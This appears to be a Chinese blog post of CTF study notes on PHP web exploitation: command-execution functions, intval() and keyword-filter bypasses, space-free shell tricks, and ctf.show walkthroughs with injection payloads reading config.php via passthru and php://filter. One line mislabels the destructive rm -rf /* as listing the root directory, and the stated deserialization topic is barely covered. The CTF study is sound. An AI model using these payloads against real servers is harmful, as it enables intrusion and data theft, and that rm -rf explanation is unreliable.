php反序列化漏洞

PHP常见的命令执行函数与代码执行函数

PHP执行系统外部命令函数:exec()、passthru()、system()、shell_exec()

php提供4种方法执行系统外部命令:exec()、passthru()、system()、 shell_exec()。
在开始介绍前,先检查下php配置文件php.ini中是有禁止这是个函数。找到 disable_functions,配置如下:

1
disable_functions =

如果“disable_functions=”后面有接上面四个函数,将其删除。
默认php.ini配置文件中是不禁止你调用执行外部命令的函数的。

方法一:exec()

function exec(string $command,array[optional] $output,int[optional] $return_value)

php代码:

1
2
3
4
5
<?php
echo exec("ls",$file);
echo "</br>";
print_r($file);
?>

执行结果:

1
2
test.php
Array( [0] => index.php [1] => test.php)

知识点:
exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果你想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。

方法二:passthru()

1
function passthru(string $command,int[optional] $return_value)

代码:

1
2
3
<?php
passthru("ls");
?>

执行结果:

1
index.phptest.php

知识点:
passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。

方法三:system()

1
function system(string $command,int[optional] $return_value)

代码:

<br><?php<br> system("ls /");<br>?><br>

执行结果:

1
binbootcgroupdevetchomeliblost+foundmediamntoptprocrootsbinselinuxsrvsystmpusrvar

知识点:
system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。

方法四:反撇号`和shell_exec()

shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
代码:

<br><?php<br> echo `pwd`;<br>?><br>

执行结果:

/var/www/html

1. eval()和include的区别

都不是函数,都是语言结构 无法通过配置文件的禁用来禁用

eval 要执行的php代码

include 参数是一个路径,表示执行php文件的路径,读取路径中文件的内容,然后执行里面的php代码

include “common.php”

include “phpinfo();”;错误❌

2. intval()函数详解,intval()函数漏洞原理及绕过思路

intval() 函数可以获取变量的「整数值」。常用于强制类型转换

语法

1
int intval( $var, $base )

参数

  • $var:需要转换成 integer 的「变量」
  • $base:转换所使用的「进制」

返回值

返回值为 integer 类型,可能是 0 或 1 或 其他integer 值。

  • 0:失败 或 空array 返回 0
  • 1:非空array 返回 1
  • 其他integer值:成功时 返回 $var 的 integer 值。
  • 返回值的「最大值」取决于系统
  • 32 位系统(-2147483648 到 2147483647)
  • 64 位系统(-9223372036854775808到9223372036854775807)

2.1.1. 进制自动转换

第二个参数 $base 允许为空。

当 base 为空时,默认值是 0,会根据 $var 的格式来调整转换的进制。

  • 如果 $var 以 0 开头,就使用 8进制
  • 如果 $var 以0x开头,就使用 16进制
  • 否则,就使用 10进制

例子

1
2
3
4
5
6
# 10的 8进制是12
var_dump(intval(012));
# 10的 16进制是A
var_dump(intval(0xA));
# 10的 10进制是10
var_dump(intval(10));

输出

1
2
3
int(10)
int(10)
int(10)

绕过思路:当某个数字被过滤时,可以使用它的 8进制/16进制来绕过。

2.1.2. 转换数组

intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。

  • 「空数组」返回 0
  • 「非空数组」返回 1

实例:

1
2
var_dump(intval(array()));
var_dump(intval(array(3,2)));

输出

1
2
int(0)
int(1)

如果传入的 $var是数组中的某个值时,则当做变量来转换,而不是当做数组类型。

实例:

1
2
3
$arr1 = array(8,6);

var_dump(intval($arr1[0]));

输出

1
int(8)

绕过思路:对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。

2.1.3. 转换小数

intval() 转换小数类型时,只返回个位数,不遵循四舍五入的原则。

例子

1
2
3
var_dump(intval(12));
var_dump(intval(1.2));
var_dump(intval(1.9));

输出

1
2
3
int(12)
int(1)
int(1)

绕过思路:当某个数字被过滤时,可以给它增加小数位来绕过。

2.1.4. 转换字符串

intval() 转换字符串类型时,会判断字符串是否以数字开头

  • 如果以数字开头,就返回1个或多个连续的数字
  • 如果以字母开头,就返回0

单双引号对转换结果没有影响,并且 0 或 0x 开头也只会当做普通字符串处理

例子

1
2
3
4
5
6
var_dump(intval('12abc'));
var_dump(intval("12abc"));
var_dump(intval('abc123'));
var_dump(intval('1a2b3c'));
var_dump(intval('0101'));
var_dump(intval("0x2b"));

输出

1
2
3
4
5
6
int(12)
int(12)
int(0)
int(1)
int(101)
int(0)

2.1.5. 五取反~

intval() 函数支持一些特殊符号的,比如~取反。

实例:

1
2
var_dump(intval(~10));
var_dump(intval(~~10));

输出

1
2
int(-11)
int(10)

绕过思路:当某个数字被过滤时,可以两次取反来绕过。

2.1.6. 算数运算符

intval() 函数支持算数运算符,如果传入的 $var参数包含算数运算符,会先传入再运算,再对运算结果进行转换。

实例:

1
2
3
var_dump(intval(5*5));
var_dump(intval(5+5));
var_dump(intval(05+5));

输出

1
2
3
int(25)
int(10)
int(10)

绕过思路:当某个数字被过滤时,可以使用算数运算符绕过。

2.1.7. 浮点数精度缺失问题

由于PHP中的浮点数是「弱类型」,存在「精度丢失」的问题,在转换时可能会出现意料之外的情况。

比如下面这个案例,第一个输出34正常,第二个以为会输出58,结果输出了57。

实例:

1
2
var_dump(intval(0.34*100.0));
var_dump(intval(0.58*100.0));

输出

1
2
int(34)
int(57)

2.1.8. intval()绕过思路

最后汇总一下intval()函数漏洞的绕过思路:

1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。

2)对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。

3)当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。

4)当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)

5)当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。

6)当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。

3. 绕过还可以用base编码

tac flag.php

dGFjIGZsYWcucGhw

?cmd=echo ‘dGFjIGZsYWcucGhw’|base64 -d ‘

4. 通配符 使用 * ?绕过

5. 关键词拼接法

a=c;b=at;c=fla;d=g.php// cat flag.php

6. 符号过滤法

空格 代替 %09 {$IF} <>

7. 环境变量字符串截取法 获取敏感字符

PHP反序列化漏洞详解

在面向对象的程序设计(Object-oriented programming,OOP)中,

对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象。

类是一个共享相同结构和行为的对象的集合。每个类的定义都以关键字class开头,后面跟着类的名字。

创建一个PHP类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class TestClass //定义一个类
{
//一个变量
public $variable = 'This is a string';
//一个方法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>

linux下不用空格执行带参数的5种姿势 - sevck - 博客园 (cnblogs.com)

linux下不用空格执行带参数的5种姿势 - sevck - 博客园 (cnblogs.com)

1
2
3
4
5
6
7
8
9
10
11
12
${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
<
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20 (space)
%09 (tab)
X=$'cat\x09./flag.php';$X (\x09表示tab,也可以用\x20)

用${IFS}代替空格

1
url=ls${IFS}/

对%20的补充说明(即空格)

URL中的空格有时候被编码成%20,有时候被编码成加号+,曾经迷糊过一段时间,后来查了下资料才搞明白。

一个URL的基本组成部分包括协议(scheme),域名,端口号,路径和查询字符串(路径参数和锚点标记就暂不考虑了)。路径和查询字符串之间用问号?分离。例如http://www.example.com/index?param=1,路径为index,查询字符串(Query String)为param=1。URL中关于空格的编码正是与空格所在位置相关:空格被编码成加号+的情况只会在查询字符串部分出现,而被编码成%20则可以出现在路径和查询字符串中。

造成这种混乱局面的原因在于:W3C标准规定,当Content-Type为application/x-www-form-urlencoded时,URL中查询参数名和参数值中空格要用加号+替代,所以几乎所有使用该规范的浏览器在表单提交后,URL查询参数中空格都会被编成加号+。而在另一份规范(RFC 2396,定义URI)里, URI里的保留字符都需转义成%HH格式(Section 3.4 Query Component),因此空格会被编码成%20,加号+本身也作为保留字而被编成%2B,对于某些遵循RFC 2396标准的应用来说,它可能不接受查询字符串中出现加号+,认为它是非法字符。所以一个安全的举措是URL中统一使用%20来编码空格字符。

JavaScript中的URLEncode本意是用来把字符串编码成application/x-www-form-urlencoded MIME格式字符串,也就是说仅仅适用于URL中的查询字符串部分,但是URLEncoder经常被用来对URL的其他部分编码,它的encode方法会把空格编成加号+,与之对应的是,URLDecoder的decode方法会把加号+和%20都解码为空格,这种违反直觉的做法造成了当初我对空格URL编码问题的困扰。因此后来我的做法都是,在调用URLEncoder.encode对URL进行编码后(所有加号+已被编码成%2B),再调用replaceAll(“+”, “%20″),将所有加号+替换为%20。

原文链接:https://blog.csdn.net/qq_43061215/article/details/126121193

cat与tac的区别(tac的优先级更高)

cat命令主要有以下功能:将FILE或标准输入连接到标准输出,其实说白了就是用来显示文件的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-A或--show-all   显示不可打印字符,行尾显示“$”,等价于 -vET

-b或--number-nonblank 和-n相似,对非空输出行编号(对于空白行不编号)

-e 等价于-vE

-E或--show-ends 在每行结束处显示

-n或--number 对输出的所有行编号,由1开始对所有输出的行数编号

-s或--squeeze-blank 当遇到有连续两行以上的空白行,就代换为一行的空白行

-t 与-vT等价

-T或--show-tabs 将跳格字符显示为^I

-u (被忽略)

-v或--show-nonprinting 使用^和M-引用,除了LFD和TAB之外

1
2
3
4
5
6
7
cat还有一种用法是经常用到的,比如catalina.outte.txt是当前目录下的两个文件:

cat te.txt 在屏幕上显示文件te.txt的内容

cat catalina.out te.txt 同时显示两个文件的内容

cat catalina.out te.txt > cc.txt 将文件合并后放入文件cc.txt中

注意:当cat的文件较大时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容。因此,一般用more等命令分屏显示。为了控制滚屏,可以按Ctrl+S键,停止滚屏;按Ctrl+Q键可以恢复滚屏。按Ctrl+C(中断)键可以终止该命令的执行,并且返回Shell提示符状态。

tac命令与cat命令展示内容相反,用于将文件以行为单位的反序输出,即第一行最后显示,最后一行先显示,且不能带行输出。

1
2
3
4
5
6
tac命令参数如下:
-e 等价于-vE

-b--number-nonblank 对非空输出行编号

-A--show-all 等价于 -vET

例题1,取反真是一招鲜,吃遍天

分析要传入id==1000,但是会有>999的判断,所以利用intval进行绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
$id = $_GET['id'];
# 判断id的值是否大于999
if(intval($id) > 999){
# id 大于 999 直接退出并返回错误
die("id error");
}else{
# id 小于 999 拼接sql语句
$sql = "select * from article where id = $id order by id limit 1 ";
echo "执行的sql为:$sql<br>";
# 执行sql 语句
$result = $conn->query($sql);
# 判断有没有查询结果
if ($result->num_rows > 0) {
# 如果有结果,获取结果对象的值$row
while($row = $result->fetch_assoc()) {
echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
}
}
# 关闭数据库连接
$conn->close();
}

}else{
highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

可以利用两次取反,?id=~~1000

可以使用乘法获取1000,?id=250*4等等

?id=2 or id=1000

?id=round(999.6),只要小数部分能进一就行

漏洞补上了加号和or,但还是能用乘号和取反符号,还有||

或者可以使用intval(1e3),不行哦,因为开头1被过滤掉了

这次过滤了or,-,,*,+,<,>,!,hex,i,所以还能使用取反

?id=power(10,3)

?id=sqrt(1000000)

这里开始过滤取反,但可以使用二进制

用 sql 中除号的另外一种写法绕过(div) ?id=500 div 0.5

例题2 删库跑路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<head>
<title>ctf.show萌新计划web1</title>
<meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
if(isset($_GET['flag'])){
$f = $_GET['flag'];
if($key===$f){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}

?>
</body>
</html>

在 URL 中,? 之后的部分被称为查询字符串(Query String)。

其中的 flag=rm%20-rf%20/* 是一个 GET 请求的参数。

在这个例子中,flag 是参数名,rm%20-rf%20/* 是对应的参数值。

%20 是 URL 编码表示空格字符的方式。

因此,实际的参数值是 rm -rf /*。显示根目录

例题3 命令后一定要加;!!!!

1)无过滤

先查看文件内容,注意命令后面一定要加;

然后查看这两个文件

index说flag在config里面

查看config得到flag

2)过滤了system|exec|highlight

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/system|exec|highlight/i",$c)){
eval($c);
}else{
die("cmd error");
}
}else{
highlight_file(__FILE__);
}
?>

因为增加了过滤,把system过滤了if(!preg_match(“/system|exec|highlight/i”,$c)){ eval($c);

所以要把代码改一下,改成passthru,这个命令宇system的区别在于passthru直接输出在浏览器,而passthru的语法很简单,直接passthru(‘ls’);

相关技术文章参考:https://www.cnblogs.com/gaohj/p/3267692.html

执行?c=passthru(‘ls’)

发现有两个文件,config.php和index.php

因为index.php是首页文件,没有flag所以跳过,

然后查看另一个文件,?c=passthru(‘config.php’)

执行后F12检查页面,发现flag

3)过滤/system|exec|highlight|cat|.|php|config

使用*进行绕过即可

4)过滤了分号/system|exec|highlight|cat|.|;|file|php|config/i

?c=passthru(‘tac con\fig*’)?> 用?>代替; 在php中可以用?>来代替最后的一个;

因为php遇到定界符关闭标签会自动在末尾加上一个分号。

5)先转化成base64

?c=include $_GET[‘a’]?>&a=php://filter/convert.base64-encode/resource=config.php

再解密

①涉及到一个php的代码结构,…..

②payload为:?c=include $_GET[a]?>,等同于,php的最后一行代码可以省去分号…..

③include函数包含文件,且题目是对参数c正则过滤,因此GET型传参a可以绕过,从而执行我们的伪协议文件命令,读取config.php文件:

php://filter/convert.base64-encode/resource=./config.php

④因此连起来构造的payload为:

?c=include $_GET[a]?>&a=php://filter/convert.base64-encode/resource=config.php

还可以直接?c=echo$flag

例题4 babyphp

  • 先过第一个if,需要a不含数字而且intval取整数

  • 官方对intval的解释是

  • 通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。

  • intval() 不能用于 object,否则会产生 E_WARNING 错误并返回 1。

  • echo intval(array()); // 0

  • echo intval(array(‘foo’, ‘bar’)); // 1

  • 所以我们传入数组就能过掉第一个if

  • a[]=1

  • 第三个if,由于md5函数无法处理数组,会返回null

  • b1[]=1&b2[]=2

  • md5(b1[]=1) === md5(b2[]=2)

  • 第四个if,需要传入值是字符串且md5值相等

7.1. 弱判断下,0e开头的数等于0,所以使两端的md5值都为0e开头即可

1
2
3
4
5
6
7
8
QLTHNDT
0e405967825401955372549139051580

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

所以最终的payload是

a[]=1&b1[]=1&b2[]=2&c1=QLTHNDT&c2=QNKCDZO

例题5 Ping Ping Ping(管道符 |)


php反序列化漏洞
http://example.com/2024/11/30/php反序列化/
Author
chaye
Posted on
November 30, 2024
Licensed under